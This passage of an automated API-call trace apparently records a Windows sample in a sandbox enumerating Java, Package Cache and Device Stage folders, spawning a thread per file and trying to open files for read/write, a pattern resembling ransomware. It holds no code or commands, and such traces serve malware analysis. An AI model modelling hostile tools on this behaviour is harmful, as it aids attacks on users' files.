_Dest=0x347e1f0, _Source="java.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe" [0087.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0087.923] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x349f3d0 | out: lpFindFileData=0x349f3d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0087.923] wcscmp (_String1="javaw.exe", _String2=".") returned 1 [0087.923] wcscmp (_String1="javaw.exe", _String2="..") returned 1 [0087.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e180 [0087.923] wcscpy (in: _Dest=0x347e180, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath" [0087.923] wcscat (in: _Dest=0x347e180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\" [0087.923] wcscat (in: _Dest=0x347e180, _Source="javaw.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe" [0087.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c [0087.924] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x349f3d0 | out: lpFindFileData=0x349f3d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0087.924] wcscmp (_String1="javaws.exe", _String2=".") returned 1 [0087.924] wcscmp (_String1="javaws.exe", _String2="..") returned 1 [0087.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e260 [0087.924] wcscpy (in: _Dest=0x347e260, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath" [0087.924] wcscat (in: _Dest=0x347e260, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\" [0087.924] wcscat (in: _Dest=0x347e260, _Source="javaws.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe" [0087.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50 [0087.925] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x349f3d0 | out: lpFindFileData=0x349f3d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 0 [0087.925] FindClose (in: hFindFile=0x33e0598 | out: hFindFile=0x33e0598) returned 1 [0087.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349f3d0) returned 1 [0087.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481fd8) returned 1 [0087.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f6c0) returned 1 [0087.925] RtlExitUserThread (Status=0x0) Thread: id = 1157 os_tid = 0xb80 [0082.933] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480480 [0082.933] wcscpy (in: _Dest=0x3480480, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" [0082.933] wcscat (in: _Dest=0x3480480, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" [0082.933] wcscat (in: _Dest=0x3480480, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\*" [0082.933] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349f638 [0082.933] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\*", lpFindFileData=0x349f638 | out: lpFindFileData=0x349f638*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e05d8 [0086.592] wcscmp (_String1=".", _String2=".") returned 0 [0086.592] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x349f638 | out: lpFindFileData=0x349f638*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.592] wcscmp (_String1="..", _String2=".") returned 1 [0086.592] wcscmp (_String1="..", _String2="..") returned 0 [0086.592] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x349f638 | out: lpFindFileData=0x349f638*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0086.592] wcscmp (_String1="java.exe", _String2=".") returned 1 [0086.592] wcscmp (_String1="java.exe", _String2="..") returned 1 [0086.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f4e0 [0086.592] wcscpy (in: _Dest=0x347f4e0, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" [0086.592] wcscat (in: _Dest=0x347f4e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" [0086.592] wcscat (in: _Dest=0x347f4e0, _Source="java.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe" [0087.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44 [0087.920] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x349f638 | out: lpFindFileData=0x349f638*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0087.920] wcscmp (_String1="javaw.exe", _String2=".") returned 1 [0087.920] wcscmp (_String1="javaw.exe", _String2="..") returned 1 [0087.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x347f238 [0087.920] wcscpy (in: _Dest=0x347f238, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" [0087.920] wcscat (in: _Dest=0x347f238, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" [0087.920] wcscat (in: _Dest=0x347f238, _Source="javaw.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe" [0087.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48 [0087.921] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x349f638 | out: lpFindFileData=0x349f638*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0087.921] wcscmp (_String1="javaws.exe", _String2=".") returned 1 [0087.921] wcscmp (_String1="javaws.exe", _String2="..") returned 1 [0087.921] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e30b0 [0087.921] wcscpy (in: _Dest=0x33e30b0, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" [0087.921] wcscat (in: _Dest=0x33e30b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" [0087.921] wcscat (in: _Dest=0x33e30b0, _Source="javaws.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe" [0087.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e30b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0087.922] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x349f638 | out: lpFindFileData=0x349f638*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 0 [0087.922] FindClose (in: hFindFile=0x33e05d8 | out: hFindFile=0x33e05d8) returned 1 [0087.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349f638) returned 1 [0087.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480480) returned 1 [0087.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fb98) returned 1 [0087.922] RtlExitUserThread (Status=0x0) Thread: id = 1158 os_tid = 0xed0 [0082.933] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x34875a8 [0082.933] wcscpy (in: _Dest=0x34875a8, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0082.934] wcscat (in: _Dest=0x34875a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0082.934] wcscat (in: _Dest=0x34875a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" [0082.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349f8a0 [0082.934] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x349f8a0 | out: lpFindFileData=0x349f8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0398 [0086.518] wcscmp (_String1=".", _String2=".") returned 0 [0086.518] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x349f8a0 | out: lpFindFileData=0x349f8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.518] wcscmp (_String1="..", _String2=".") returned 1 [0086.518] wcscmp (_String1="..", _String2="..") returned 0 [0086.518] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x349f8a0 | out: lpFindFileData=0x349f8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0086.518] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0086.518] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0086.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x348ae78 [0086.518] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0086.518] wcscat (in: _Dest=0x348ae78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0086.518] wcscat (in: _Dest=0x348ae78, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" [0087.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x348ae78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0087.939] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x349f8a0 | out: lpFindFileData=0x349f8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0087.939] FindClose (in: hFindFile=0x33e0398 | out: hFindFile=0x33e0398) returned 1 [0087.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349f8a0) returned 1 [0087.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34875a8) returned 1 [0087.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430d40) returned 1 [0087.939] RtlExitUserThread (Status=0x0) Thread: id = 1160 os_tid = 0x8e8 [0083.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3487738 [0083.474] wcscpy (in: _Dest=0x3487738, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0083.474] wcscat (in: _Dest=0x3487738, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\" [0083.474] wcscat (in: _Dest=0x3487738, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*" [0083.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349fb08 [0083.474] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x349fb08 | out: lpFindFileData=0x349fb08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e02d8 [0086.516] wcscmp (_String1=".", _String2=".") returned 0 [0086.516] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x349fb08 | out: lpFindFileData=0x349fb08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.516] wcscmp (_String1="..", _String2=".") returned 1 [0086.516] wcscmp (_String1="..", _String2="..") returned 0 [0086.516] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x349fb08 | out: lpFindFileData=0x349fb08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0086.516] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0086.516] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0086.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ac98 [0086.516] wcscpy (in: _Dest=0x348ac98, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0086.516] wcscat (in: _Dest=0x348ac98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\" [0086.516] wcscat (in: _Dest=0x348ac98, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" [0087.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x348ac98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30 [0087.941] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x349fb08 | out: lpFindFileData=0x349fb08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0087.941] FindClose (in: hFindFile=0x33e02d8 | out: hFindFile=0x33e02d8) returned 1 [0087.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349fb08) returned 1 [0087.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487738) returned 1 [0087.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431280) returned 1 [0087.941] RtlExitUserThread (Status=0x0) Thread: id = 1161 os_tid = 0xcac [0083.475] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml")) returned 0x20 [0084.063] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0 [0084.063] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.063] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0 [0084.063] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34946d8) returned 1 [0084.063] RtlExitUserThread (Status=0x0) Thread: id = 1162 os_tid = 0x9e8 [0083.475] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml")) returned 0x20 [0084.062] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0 [0084.062] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.062] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0 [0084.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 